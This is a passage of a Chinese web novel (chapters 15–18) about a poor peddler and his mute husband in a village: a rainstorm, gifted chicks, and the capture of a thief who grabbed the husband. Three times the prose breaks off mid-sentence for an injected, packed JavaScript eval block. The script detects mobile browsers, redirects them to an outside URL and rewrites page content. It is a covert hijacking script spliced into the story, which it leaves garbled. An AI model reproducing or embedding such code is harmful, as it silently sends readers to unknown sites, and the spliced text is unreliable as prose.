耿四郎的其中一个孩子，就是当日收了他一个虫儿笼的小子，另一个小哥儿是老三家的。 曾如意这回直接在掌心写字。 【我日日在耿家，总要有些表示】 又写： 【做完这双，就给你做】 常霄愣了愣。 “不是刚买的新草鞋？” 曾如意写字时神色一本正经。 【天凉了，又该穿布鞋了】 想想确实，过了仲秋，草鞋是绝对穿不住了。 至于鞋样子，之前的旧布鞋还在，用那双的鞋底比一个正好，曾如意胸有成竹。 常霄交还小巧的鞋底，距离成为一双布鞋还有好几道工序，纳鞋底可不是个轻省活。 他有意去看曾如意的手指，但见指侧多了几道深深浅浅的勒痕。 哪怕里正家看在赠书的份上，丝毫不介意曾如意天天登门，康誉其人性子也不错，常霄天天回家都能看见小哥儿脸上有笑，不是受了气的样子。 可说到底终究不是长久之计，在别人家里，永远比不上在自己家松快自在。 常霄凝神思忖，还是得想个办法尽早消了隐患。 15.遇雨 是日，天色阴沉。 常霄出门时就觉天气不算多好，却也不敢就此歇息，现今赚的钱可都是货真价实的口粮钱，手停口就停，压根没有放假的自由。 他摸了摸怀里的饼子，回头向曾如意道：“瞧着早晚要下雨，我若晚回你也莫担心，定是教雨给拦在哪个村里了，到了饭点，你先吃饭，不必等我。” 以防万一，又把迟迟没卖出的风筝特地摘下来放在家里，其余一些个小玩意儿倒是不怕，能卖便卖了，不能卖就藏进怀里或是放进货担深处，上面扯点东西盖着就罢。 曾如意皱着眉头，在手心里写字： 【要不要去借蓑衣】 这是农户最常用的雨具，只要是家里需下地干活的，几乎家家都有。 而下雨的日子大家伙极少出门，借是借得到的。 常霄摇头。 “那东西沉得要命，我不爱穿，不是有这个？” 他拿起旧草帽扣在头上，是上回遇见刘大时提了一嘴，对方回家里找了个过去用旧的，常霄使饴糖换了来，比买顶新的划算多了。 曾如意扯他袖口，当他转头时用口型道“小心”二字。 常霄动动袖子下的手指，很想牵一下小哥儿的手，不过一番犹豫，还是克制住了。 他到底是现代人的思维，哪怕原主和曾如意盲婚哑嫁已成夫夫，彼此若是有心，还是该慢慢地来。 见曾如意应当没有别的交代，常霄道：“我看看今日有没有人拿吃食和我换东西，要是有的话，晚食就有着落了。” 他已渐渐发现生活在乡下的好处，只要不求定要吃一口肉，在吃喝上的花销是很低的。 要想吃肉，买是能买到的，时下多吃羊肉和猪肉两样，羊价贵，一斤逾六十个钱，猪价贱，一斤也要三十个钱。 因少有人买得起，周边村子里没有屠户，想买肉要去草市集，除非赶上过年宰猪杀羊的时候，有人请屠子登门，才会将多余的肉拿出来卖，踩在年根上赚一笔。 说来也是有点心酸，他把肉价打听得听清楚，奈何只是以二人现在的积蓄，吃肉仍是奢侈。 钱需存着，有更重要的用处。 不甚放心地送走常霄，曾如意照旧收拾了院子屋内，将里外洒扫干净后合上门扉，取了针线去耿家。 来了数日，他和耿家上下混了个熟脸，耿大郎的媳妇卫氏和与他走得近的老四夫郎誉哥儿，一个和善一个活泼，独老三夫郎态度不冷不淡，康誉说他素来这个性子，关上门也和他与大嫂不对付，不必理会。 好在曾如意很少与他见面，见面时也会颔首示意，总之礼数教人挑不出错，省的被倒打一耙。 此外耿家还有个老二是姑娘，嫁了外村一里正的儿子，逢年过节才回来。 再说誉哥儿，他有两个孩子，老大星哥儿四岁，说是刚过门没两月就怀上了，很是以此为喜，老二是小子，叫耿元旺，才三岁。 这不曾如意前脚进门，刚进堂屋与里正和里正娘子问了好，就被星哥儿拽走，说要带着他看刚孵出来的鸡雏。 曾如意含笑跟着去，人拐进后院，老三夫郎徐氏忽而从拐角处现了身，冷着脸走去灶屋。 见大嫂在弯腰做事，故意把手里的陶盆重重搁在台面上，嘴上道：“老四夫郎倒是乐得让孩子和那常家夫郎一同耍，旺小子本就三岁了话还说不利索，也不怕教个哑巴拐去沟里了。” 卫氏似是没听见，朝半空弹两下手上的水，挽袖时露出左右各一只的成对银镯，看得徐哥儿眼皮直跳。 别看耿家有三个儿子，实际一碗水端不平，老大不消说，是指定接任里正的人选，老四呢，占了个是老小的好处，对着爹娘伸手，要什么给什么，娶的夫郎精明极了，家里做禽肉禽蛋营生，衬些家底，带来的嫁妆多，还识几个字，成日在他面前走路都昂着下巴。 只他嫁了个夹在当中的老三，当初看中他是里正儿子，生得齐整，浓眉大眼的，怎知真过起日子，下地偷懒耍滑不说，偶尔打发他去跟着老四往草市卖瓜菜和粮食，也能溜去打酒吃，全然不晓得趁机昧几个钱进兜！ 更别提主动给他添首饰了。 当大嫂的装聋，他偏要说。 他一向是自己过不自在，也看不惯别人自在。 “大嫂，听说那常家小郎赠了元捷两册书，爹娘和你家就承了他的情？要我说两册书撑死百来个钱一本，进城买又不是买不起，没看人家巴巴把夫郎都送来家里了，还不知打的什么算盘……” 他故意加重语气道：“当心教人缠上，到时甩都甩不脱，亲爹是赌棍，儿子能是什么好东西，歹竹出不了好笋呐！” 此时卫氏终于肯开腔了，气定神闲。 “你当初过门时，我就说你和老三是相配的，他也是打小进学堂便坐不住，磕磕巴巴念了两年，会写的字凑不够一双手，公爹本来给他说了个马桥铺子里老账房的孙女，他偏看不上，现今看来，正是选对了。” 徐哥儿：“……大嫂，这话说的是什么意思？” 竟还特地提什么老账房的孙女，那姑娘他曾有意去看过，虽是和耿家没说成亲后很快就嫁人了，但着实生的水灵，多年来每回一吵架，耿老三那厮就后悔没听爹娘的话娶那娴静的小娘子。 这一点姓卫的不会不知道，分明是特地提出来给他添堵。 “没什么意思，只是提醒你一句，咱家仰赖公爹是里正，高低算是村里顶顶体面的门户，若是见识短，就少说两句，免得让人笑话。” 卫冬香扯下挂在墙上的布巾擦了擦手，绕过徐哥儿向外走。 徒留嘴皮子上没胜人一筹的夫郎朝地下啐一口，摔摔打打好半天。 最后还是曲大娘子听见了，过来看了两眼，他才消停。 在三房小院里陪两个萝卜头看小鸡的曾如意，对前院发生了什么一无所知，他伸手接过星哥儿拿起的一只毛茸茸的小鸡，小心拢在掌心下摸。 康誉长他几岁，全然把他当个小弟看，他和他家男人一样都是家里的老小，不过和耿老四不同，原本在他之后，他爹爹和小爹还生了个小哥儿的，可惜三岁就夭折了，算起来，年岁竟和曾如意差不多。 又因曾如意身世缘故，他心下生怜，相处时多有关照。 见曾如意似乎很喜那鸡雏，遂道：“你要是喜欢，逮几只拿回去养。” 曾如意忙摆手，比划了一个数钱的手势，意思是鸡雏值钱的。 康誉半蒙半猜，现在也能看懂他的部分手势，笑道：“嗐，甚么鸡鸭的，家里鸡棚都养不下了，莫忘了我娘家就是做这行的，回回走亲戚还要往这送嘞。” 他走近两步道：“春雏秋雏年年孵出来，泰半都卖了，这窝是夏雏，本不该孵的。实话实说，夏雏不比春雏、秋雏壮实，真要卖也少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252800|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人要的，你要是想试试，捉回去养，养不活我不要你钱，真养活了，到时你分我两个蛋，也抵了价了，多要一个都是我坑你了。” 见曾如意面露怀疑，康誉道：“你要不信，让你家那个去打听打听价钱。” 曾如意还真心动了。 母鸡养半年就能下蛋，趁现在还没到秋冬草枯的时候，多打鸡草晒干了备下，就算不种菜不种粮，也不怕没东西喂鸡。 自己吃不吃鸡蛋无所谓，常霄则很是需要补一补，不然成天这么奔忙，身子骨早晚要撑不住。 生意上的事他除了算账外一概帮不上忙，只能想法子在别处花心思。 两人说定后，康誉挨个抓起来看公母，给他挑了两只看起来最结实的小母鸡。 因曾如意瞧着就是个没多少养鸡经验的城里哥儿，多了怕他手忙脚乱，反而不好，等长大了，吃的也多。 “先试试手，回头我再给你挑几只秋雏，你要是连夏雏都能养明白，秋雏更不在话下了。” 他给曾如意吃定心丸，“有个病啊灾啊，你只管来问我，我有土方子能治，我会走路的时候就在家学着伺候这群尖嘴玩意儿了。” 选好后，他教星哥儿和旺小子去扯两根草，大力搓出绿色草汁子，在鸡屁股上染色做标记，暂且放回地上。 随后两人洗把手，相携着继续做针线纳鞋底，顺便看孩子。 康誉的针线手艺远不如曾如意，多有向他请教的时候。 过午，大嫂卫氏也来了，家里一群半大孩子，包括老三家的都凑在一起满地乱窜，热闹极了。 远处。 雨未至，风先起。 常霄抬手扶住草帽，生怕一个不小心被吹跑了。 行到村口树下，聚在一处说闲的人都预备散去，当中有人见常霄走来，招手扬声提醒，“后生，快些家去吧！看这云彩，今天雨不小嘞！” 常霄认出是个上回在自己这买过杂货的老大娘，他回应道：“晓得了，这就往回走！” 身后风车卖得还剩一个，正在随风呼呼旋转。 常霄干脆拿下来举在手里，看久了居然也从中得了几分趣味。 不过终究不敢在路上耽搁太久，真要是雨落下时前不着村后不着店，那真是叫天不应叫地不灵了。 常霄把手伸到背后，掂了一下货担重量，以及肩上挎的一堆葫芦，所幸前日进了回货，六个村子走下来消耗可观，能容他跑上两步。 这一路称得上是在和积雨云赛跑，带着一身叮叮当当，常霄跑了一小段路后果断放弃，改成快走。 好不容易过了大栅村，距离寨子村就剩半个时辰路程，他把葫芦里的水喝干净，提口气继续大步前进。 大雨当前，每个村的地头都不见人影，常在村中道旁玩耍的孩童全数被叫回，一时只闻无边风声。 天阴地沉，前后空茫，风撩起麻布衣摆和额前发丝，束发的发带在脑后飘扬，仿佛四野只余他一人。 常霄忍不住深吸口气，望着暂且看不到尽头的土路，无端萌发一个不切实际的愿望——就这么走下去，会不会在某个刹那，眼前一闪，周遭涌动，推着他回到原本的时空？ “轰隆——” 雷声如同疾雨的预兆，兜头砸下，碎去常霄刚刚冒头的幻想。 他想到还有人在等自己，不觉越走越快，最后再次跑起来。 16.青丝 隆隆雷声滚了数次，黑云越压越低，雨滴迟迟不落。 连耿里正都在院子里站了好半天，背着手发话：“定是憋了个大的，这场雨不是急雨，恐怕不小！” 不过距离粟米秋收不足一月，此时下雨对于农户来说是好事。 “处暑雨，粒粒米，好生下一场痛快的，今年能有好收成嘞。” 耿家人聚在一起讨论收成，田地是农家的根基，提起这个，人人都有话讲。 曾如意凑热闹，旁听了好一会儿，想着将来常霄或许也会在村里置办田地的，提前学一学没有坏处。 但随着雷声愈发密集，下半晌天暗如傍晚，他着实坐不住，不顾耿家人的挽留，执意要先回去。 现下住的是茅草屋，下雨时说不定会漏雨，到时湿了床褥，晚上连睡觉都成问题。 一番解释，康誉看懂大半，转述给其余人听，曲大娘子点头道：“是这么回事，早回去得好。” 又张罗儿媳和儿夫郎去寻一把伞借给曾如意用，康誉记挂着两只精挑细选的鸡雏，找了个小草筐把鸡雏放进去，外加一包麸皮，足够喂上几日的。 曾如意道了谢，一手提伞一手提筐，作别耿家人，快步回碾场。 路上想到家里尚有几块老姜，现在回去，正好先把姜汤煮上，等常霄回来就能喝。 不然要是起了风寒，难免受罪。 小鸡离了母鸡，在筐子里发出细碎的叫声，曾如意见雨一时还下不来，遂把伞夹在胳膊下，用胳膊挡住草筐的开口处，担心鸡雏吹风受凉。 一只母鸡养到下蛋的岁数，能卖一百文，这两只鸡雏若是成功养大了，就是家里最值钱的东西了，可不能出差池。 快到碾场时，已经有雨点子往下飘。 但就剩几步路，曾如意没有打伞，迅速跑进院子。 “叽叽，叽叽！” 因为颠簸，小鸡在草筐里惊叫，曾如意紧迈着步子，火急火燎冲入屋内。 几乎在同一刻，屋外的雨势骤然增大，豆大的雨点噼里啪啦砸入泥地。 丰沛的秋雨拉开帷幕，屋内屋外顿成两方天地。 好险。 小哥儿松口气，抬起胳膊擦擦额头上沁出的汗，正打算找个地方安置鸡雏，然后下一秒就愣住了。 常霄在家！ 惊讶过后，升起的是丝缕的欢喜。 而常霄看着一头扎进来的曾如意，第一反应也是惊讶，随即赶紧上前帮他拿东西。 “怎还冒雨回了，我正要去耿家接你。” 他提起草筐，发现里面有东西在动，低头一看发现居然是两只毛茸茸的小鸡，不由奇道：“哪来的鸡仔？” 【誉嫂嫂给的】 曾如意写完字，把油纸伞靠着墙面放好。 今天没用上，等天晴他再送回去。 “我原还想入秋后去买两只回来养，人家都说秋雏体格好。” 常霄日常在村间走动，没少遇见健谈的人，大家都很乐意和他这个外来的货郎闲谈。 凡是遇上家里鸡鸭养得多，或是菜地料理得好的，他就会恭维几句，由此换来好些经验，只是暂且都还用不上。 【夏雏体弱，不一定能养活】 曾如意转达康誉说的话。 【誉嫂嫂说养不活，不要钱】 “那等养住了，咱们再好生谢他。” 常霄把草筐放到地上，和曾如意一起蹲下看，口中却还续着方才的话题。 “见你和他相处得好，我就放心了。” 小哥儿浅笑了笑，看起来很乖巧。 常霄见他有缕鬓发沾湿，快要扫到眼睛，下意识抬起指尖轻轻拂去一旁。 曾如意似怕惊扰什么，放平呼吸，缓缓眨眼，不曾抬头。 他的睫毛并不算长，但生得很密。 “叽叽，叽叽！” 室内的安静让两只小鸡的胆子又大起来，它们抖抖毛，在草筐里走来走去。 常霄垂下眸子，嘴角上扬，自然地收回手。 “鸡雏是不是怕冷？要么先养在屋里，反正小小一个，料也没什么大味道。” 话题翻过，曾如意敛去眼底的一丝怅然，短暂的沉默后，对常霄点点头。 两人暂时把草筐当鸡窝，安置在房间角落。 外面大雨滂沱，人出不去，也没什么事做，他们看了会儿小鸡，还不忘时不时抬头检查屋顶。 “不如先把被褥卷起来，到晚上睡觉时再铺上，这样就算是漏雨了，也不会打湿。” 常霄提议，曾如意赞成，两人齐心协力把土床收拾了出来，连干草都推到一边。 垫底的干草很多已经压碎了，不收拾还好，一收拾就是草屑和土灰满天飞。 二人不禁后退两步，抬手扇了扇眼前的飞尘。 常霄抬着袖子掩住口鼻，无奈道：“这些干草也该换一批了。” 曾如意有话想说，他伸出手掌写字，为了让常霄看清，他转过身体贴着对方站。 【入秋了，可以用芦苇杆】 【再冷些，芦花会开】 【可以采来做夹袄和鞋子】 “那等仲秋过后，我休息一两日，打听打听去哪里采芦花割芦苇，咱们一起去。” 曾如意开心地点点头。 常霄小声喃喃：“要是有棉花就好了。” 芦花塞得再多也不保暖。 曾如意隐约听到一个“棉”字，迟疑半晌写道： 【是说丝绵吗】 常霄看清小哥儿所写的笔画走向，这倒是提醒他了。 要说如今有什么能比芦花更保暖，无疑就是丝绵了，丝绵乃是蚕茧所制，因此称“绵”而非“棉”。 养蚕缫丝不分南北，河东府亦属丝织产地之一，乡下村落几乎家家养蚕，田间植桑树，院中辟蚕房。 秋税不仅纳粮，还要纳绢帛，若是拿不出，也得用钱抵。 需知蚕丝可织罗琦，源自蚕茧的丝绵自然也便宜不到哪里去。 就说过去常家落魄后，一家老小再也买不起新的丝绵冬衣，只能穿旧的，还曾被原主拿去典当过。 “我想的是另一种，从地里长出来，不过在此之前，先努力争取早日穿上丝绵好了。” 他跟曾如意简单解释，而小哥儿一脸疑惑。 从地里长出来且能缝进衣服保暖的东西，他一向只知道芦花。 【是书里写的吗？】 “嗯……对，我在书里看到的。” 种种外来作物传进本土都需要时间，常霄尚不知棉花是否已经在这片土地的某个角落出现。 曾如意了然。 常霄偶尔会冒出几个他听不太懂的词，若说是对杂学看兴趣，全是自书中习来，就解释得通了。 两人靠着闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258752|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊和逗弄小鸡打发时间，窗外风雨如晦，根本辨不清时辰。 当他们发现屋顶真的开始漏雨时，并不慌张，反而有一种“终于来了”的释然。 常霄打着伞去灶屋端来锅碗瓢盆，分别摆在两个地方接雨水。 雨点滴滴答答地砸进陶锅、瓦盆，时间久了，倒惹人犯瞌睡。 尤其是常霄，他起得太早，兼走了大半日，实在是困乏得很，遂打个哈欠，把刚刚堆起的干草又铺平了些，靠着铺盖卷斜躺下，并问曾如意一句：“你要不要上来歇个晌？” 在昏暗的屋子里呆久了，曾如意也眼皮子直打架，面对常霄的邀请，就像是今天看到那两只小鸡雏一般，心头痒痒的。 但虽都是痒，却并非同一种痒。 常霄绝非面上客气，两人日日睡同一张床，没有夫夫情也有室友情不是？ 他见曾如意似是想来，左看右看，空出些位置，坦诚地拍了拍，“被子就不铺了，干草湿了还有得换，要是连着阴上几天，被子可难晒干。” 曾如意没有拒绝。 他检查了一下草筐里的小鸡，发现两个毛团凑在一起睡了，转而看接水的锅盆，离接满尚有段时间，总算放了心，脱下鞋子爬上床。 见常霄单手枕在脑后，身形舒展，眼睫微阖。 配上那出挑的五官轮廓，哪里像是躺在乡下茅草屋的土榻上，换身锦衣搬去上元节的水上画舫，怕是谁看了都会觉得是哪家贵公子出游，还要朝船上扔香帕。 这样的人物，若非被家世所累，有个拖后腿的亲爹，想来纵然没有功名傍身也绝对轮不到自己。 如今共居陋室，搭伙度日，哪怕吃不起肉穿不起丝绵衣，也远比过去在大伯家时自在多了。 倒像是自己偷来的好光景。 常霄等了半天，没等到身边有人躺下，他悄悄把眼皮撑开了些，又在热源靠近时飞快闭上。 不知是不是错觉，他总怀疑曾如意在看自己，眼皮微颤两下，着实有点装不下去，只得假装淡定，收回手臂，背对来人翻身侧躺。 曾如意还当是自己打扰了常霄，默默往另一侧挪了挪。 要说刚刚还有些瞌睡，现在当真是了无睡意，他同样合衣侧着身，单手压在耳下，望了许久常霄的后脑勺。 不多时，他眼尖发现常霄的衣服上粘了一根长长的黑发丝。 几息过后，曾如意鬼使神差地伸出手，把发丝取下，收入放在衣襟中的小荷包。 …… 常霄确实沉沉地睡了一觉，以至于醒来时有些分不清今夕何夕，唯闻雨声不歇。 先前本还有几分心思落在近在咫尺的小哥儿身上，可当上眼皮粘上下眼皮，就似被周公按着头强扯进梦里去。 要不是深睡转成浅眠时，隐约又听见一声响雷，大抵还能再睡半个时辰。 打过哈欠，方觉哪里不对，摸了摸才知是身上多了张被子，捂得他手脚温暖，怪不得睡透了。 可见小哥儿细心。 常霄上辈子亲缘淡薄，这辈子同样如此，做惯了独行侠，还是头回明白何谓“有人相伴，知冷知热”。 因被子裹身，且屋里比睡前更昏暗两分的缘故，他干脆放任自己偷个懒，不急着起床。 未料雷霆褪去，竟让他听到屋外院中传来一声物件碎裂的脆响，紧随其后的，则是道雨声都不曾遮盖住的，沙哑而绝望的嘶吼。 17.抓贼 那声音粗哑含泣，令常霄不知出自何人之口，但可以确信事情定然不妙！ 曾如意不在屋内，又不会趁雨外出，多半就在灶屋或是院内，思及之前曾出现过的鬼祟男子，常霄顿出满身冷汗。 他想也不想就跳下床，随手抄起立在门边的一根长扁担，立时像门外冲去。 距离他听见声响不过瞬息，拉开门果见院内有人，是个比他矮小些的村汉，因雨不怎能看清眉目，正站在曾如意身后把人朝后揽，两只手居然紧紧环在曾如意身周，将小哥儿的手臂牢牢固定。 而曾如意手中的纸伞跌落在地，旁边还有个破了的陶碗，显然是方才砸碎的。 常霄怒火升起，仗着扁担长，于没两分身手的他而言倒是个趁手的好武器，当下直接举起扁担朝那汉子的下盘扫去。 “好个不要脸的！光天化日潜人屋宅，欺辱良家！” “你……你怎么在家！” 那汉子瞬间惊惶跳起，显然是错估了常家情形，以为常霄必定外出未归。 对方这么一松手，曾如意立刻逃开，常霄一把将人拽去身后，瞥见汉子手上并无利器，正巧面朝自己。 既非敢见血的亡命徒，事情就好办许多。 身为男子，常霄自是清楚何处最为脆弱，他抖抖扁担，手握半截位置，大力朝汉子身下猛捣，戳到哪里算哪里。 本想着一下不成，再来一下，焉知老天襄助，第一下就捣到了实处。 汉子高声痛叫，两只手捂着腿间，刹那僵在原地，动弹不得，常霄趁机又甩动扁担，狠狠抽他小腿！ 因为扁担使的都是柔韧木条，与小腿骨头两厢受力，直接弹开，可见下手力气之大。 亏得这阵子他起早贪黑负重走远路，练就一副精瘦干练的体格，不像从前原主那般无缚鸡之力。 只是贼汉子被人捉了现行，当然不肯束手就擒，吃了两记狠的后，面色疼得涨红，仍旧踉跄着往外跑。 雨势转小，却不停歇，淋得三人浑身湿透。 曾如意浑身发抖，既是吓的，也是气的，双脚软得不行，此刻见对方要跑脱，忽而来了力气，蹒跚两步行至灶屋外，拿起那把镰刀就要往前追。 “如意！” 刀刃雪亮，常霄吓了一跳。 心念急转，他没有夺走镰刀，而是快速道：“我去追他，你速去里正家找人帮忙！” 曾如意强迫自己冷静下来，双目含泪，使劲点头。 常霄用力攥了下小哥儿的手腕，深深看他一眼，接着随手弃了扁担，择了一把锄头，姑且也算利器，转身追远。 不知道贼汉是不是从那阵剧痛中缓过来几分，跑得快起来，常霄兴许速度略逊，长处在耐力远胜从前，心道便是围着村转圈圈，也要求一个把对方体力耗尽。 他故意边跑边骂，高声大喊：“抓贼了！抓贼了！” 前面汉子闻此句，慌乱间回头看一眼，见常霄举了把锄头跑在自己身后不远，直接被地上凸起的土包绊了一跤，接着手脚并用爬起，愈发努力逃跑。 而常霄靠着多日以来叫卖练出的亮嗓门，每一嗓子都是气沉丹田而出。 哪怕贼汉因做了下作勾当，还被人抓了现行，有意避开村中屋宅密集处，也难免依旧路过了几家门前。 刘家正在附近，刘大本在屋里补觉，被媳妇颜氏摇醒，说是听见外面有人喊“抓贼”。 村里进了贼不是小事，尤其连天阴雨，家家闭户不出，保不准就有人趁机在院里偷鸡摸狗。 刘大侧耳细听，果也听见一叠声的“抓贼”，不是作假，睡意全无，当即一骨碌爬起，套件衣服出门。 哪知出门没见着贼，先瞅见了把锄头的常霄。 他与常霄熟识，自是二话不说就上去帮忙，还不忘沿路垂邻里家的大门，挨个喊家里汉子。 “抓贼了！村里有贼！” “都出来抓贼！莫让贼人跑了！” 两道人声都喊同一件事，在屋里犹豫的人也不再犹豫，纷纷冒雨出门，手里各自提着趁手的家伙事。 人多了，事情就简单，刘大叫上常霄，和其余人一道，从四面八方往中间围堵，断了这人跑出村的路，不得不朝村内方向跑。 这般跑了半晌，沿路出来的人越来越多，不消一盏茶，更是直接与曾如意从耿家搬来的帮手相遇，耿家三个儿子都是人高马大的，连好吃懒做的耿三郎都被踢了出来，当下由耿大郎带领，上前把人扑住，两条胳膊死死拧去身后，惹得贼汉一声痛叫。 “我错了！几位爷爷饶命！” 声音一出，耿四郎狐疑低头，他信手掰起此人下巴细看，当恍然怒道：“我当是谁，伍老二！又是你这个混账！上回险些被打瘸一条腿，还敢来村里作乱！你且等着，这回不打你个屁滚尿流皮开肉绽，便对不起乡里乡亲！” 其余人闻言也凑上去看，除却常霄不解其意，全都愤然道：“又是这个贼泼皮！好教里正做主，打断你的腿！” “都回去看看家里丢没丢东西！这厮回回来，回回不走空的！” “是了，我记得他还有两个兄弟，都不是好玩意儿，兴许这会儿还猫在何处使坏嘞！” “天杀的！上次我家丢了两只鸡，狗也要让他们使药毒死，顶聪明的老狗！” 一行人越说越气，当下就有离得近的直接上前施以拳脚，后面的人不断加入，打得伍老二蜷在地上成个虾米，不断求饶，哭爹喊娘。 眼见再打就要出人命了，耿大掐准时机喊道：“谁家有麻绳！借一条用！趁早将他捆了，免得再生波折！” “我家有！” 看不清是谁扔来的，总之一卷麻绳丢到面前。 常霄抛了锄头，上前和耿大、耿四一起，三下五除二把贼汉绑成了粽子，留出的一截握在耿大手里，他用力一扯，汉子就不得不往前走。 耿里正不在，耿大直接做主，点了八个村里青壮的名。 “三个跟我，三个跟我四弟，从村里东西头朝内搜，剩下两个去堵了出村的路，真有人潜在村里的话，莫让人跑了！” 又看向自家老三，把麻绳递出去。 “老三，你带常小郎君回去，让爹好生审审这厮！” 一群人各有去处，有没被点上的也要跟着去搜人堵人，耿大看了圈，发现都是家中另有青壮守门户的，一概允了。 这边刘大深知耿老三德性，怕半路出岔子，主动道：“常老弟，我陪你一起去！” “我也去！” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263046|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要去！” 中间不乏想凑热闹的，反正人抓到了，雨也小了，横竖已经淋湿，不如跟上去看个结果。 就这样一路赶着人走，外面下着雨，大家都没忙着说话，径直把人押去了耿家院子。 贼汉一路喊冤，进院子的时候嗓子都快哑了，常霄含恨，不敢想自己今日要是当真不在家，曾如意会受何等欺凌，又抬腿朝汉子的屁股用力踹一脚，直接把人踹倒在地。 也便是周围人太多，不好再下黑手，不然他必定要朝前踢的。 他四下看一圈，没看到曾如意，倒是曲大娘子特意上前道：“前头人多眼杂，我让老大媳妇和老四夫郎，把意哥儿带到后面屋里去了。” 常霄心下顿安，行礼道：“有劳婶婶和诸位嫂嫂。” 曲大娘子慨叹道：“要我说，你家住在那处，正巧逮了贼人，倒是为咱们村挡灾了！不然定要让他得手几回才被人发现。” 她是里正娘子，说的话在村里是有几分重量的，话一出口，不少人纷纷应和。 “是这个理！亏得一早将他按住，追得满村没头苍蝇似乱跑，否则这雷雨天，哪里能听到院里动静！” 几步开外，耿里正肃着一张脸，得知老大老四的去向后，命跟来的青壮先将人扭进柴房，待外出搜人的回来后再审，常霄则主动提出在门内看守。 寨子村不大，细细搜一圈用不了半个时辰，常霄被喊出柴房，喝了碗姜汤，云销雨霁不多久，便闻得窗外人声鼎沸，一群汉子又逮了个贼眉鼠眼的生脸贼汉，踢打着赶到门里。 “爹，我们兵分几路，正在村南角常家老宅的后院破水缸里找到这厮！” “咋又是常家？” 有围观的人插嘴。 耿四郎闻言，掏掏耳朵里的雨水道：“那里荒草都长得齐腰高了，可不是个躲人的好地方！要不是路过瞧见，我都想不到嘞！” 有人听罢，当即转而同常霄道：“我说你家这也太晦气了，肯定是以前祖坟地方没迁对，要么找人掐算一下，看能不能破一破。” 很快有人帮腔。 “绿湾村有个老太擅观香算命，灵得很！” “我也听说，只是算一回不便宜……” “没个大小事，哪里回去算，遇上事了再算，便觉得没多贵了。” 常霄循声望去，面对说话的几人，都觉眼熟，该是上门卖杂货时打过照面，但并不能叫出名姓，却不妨碍他察觉到经此一事，村中人好似对他更亲近了些，仿佛终于肯把他当成自己人了。 他应答几句，还欲再说，里正却已出声喝止七嘴八舌的众人，道是要开始审人。 作为里正他积威甚重，满场立时安静。 接着里正拿出册子问哪些人家丢了东西，陆陆续续有人报上来，常霄却清楚伍老二不是冲着自家财物而来，说来也无甚财物，该是上次踩点就惦记上了曾如意，趁有机可乘时下手。 于是当里正问到他这里时，他道：“恰好我出屋门，撞见这厮刚刚潜入，他该是没想到家里有人在的，当即吓破了胆，掉头跑了，还不曾来得及偷什么。” 里正颔首。 “正像你婶子说的，还要多亏了你家机警，不然教这兄弟俩合力，又能多偷上许多家。” 18.牵手 既得了单子，里正便正经讯问起来，要伍家二人说清来龙去脉，以及赃物藏在何处。 伍老二说话前怯怯看常霄一眼，低头只按着常霄所言，道是事先踩点，知晓常霄是货郎，想进屋偷杂货，不料刚摸进门就被抓了，没得手，只字不提对曾如意动手动脚的事。 伍老三则很快供出赃物藏在哪里，得了位置后，耿大和耿三又带人走了。 曲大娘子在旁听了全程，心中暗叹。 谁不知伍家几个兄弟家贫还不学好，向来是靠着偷鸡摸狗度日的，成天在周遭几个村子里流窜，平素居无定所，若抓不到现行，保准教他们跑脱了，寻都没处寻。 而三人里，独伍老二不止手脚不干净，还偏好调戏良家子，早两年别村就有个寡妇让他摸到床头，虽没得逞，听到动静后溜了，却也坏了人家名声，要不是寡妇娘家日夜守着人，又想法子说了个远县的亲，愣是把人给二嫁了，保不齐那寡妇就要上吊。 碾场那茅屋向来除了农忙时无人住，正在个村子外沿上，前后左右无邻家，而常霄夫夫两个家徒四壁，能有什么好偷的？伍老二趁雨天摸进去图的是什么，她心里门儿清。 方才见人抓回来，口口声声喊自己没偷东西，反倒替曾如意松口气，可见常霄这小郎是有急智的，乱中依然记得把事情往偷盗上面引。 现下当中问话，伍老二当着村里人的面居然同样只字不提，看来只消不让曾如意出面，想必就此无碍。 不然身为女子，她是晓得闲言碎语有多厉害的。 耿里正早在曾如意上门报信的时候，就得了媳妇嘱咐，遂也绝口不提相关的话茬。 问明白后，找回赃物，核算了价值，当中有几件银首饰，足超过两贯了。 “按着本朝律例，所窃财物一贯以下的，我做主把你们打一顿便罢，一贯以上的，却要扭送县衙教县老爷评判了，况你二人是屡教屡犯，更该罪加一等，少不得要挨上百八十杖，到时去了半条命，你们方知厉害！” 话音落下，命三个儿子合力把人捆得更严实，扯更粗的麻绳直接半吊在柴房房梁上，使人站也站不得，跪也跪不得，更不会给食水，这么磋磨一夜，定是累得跑都没力气跑。 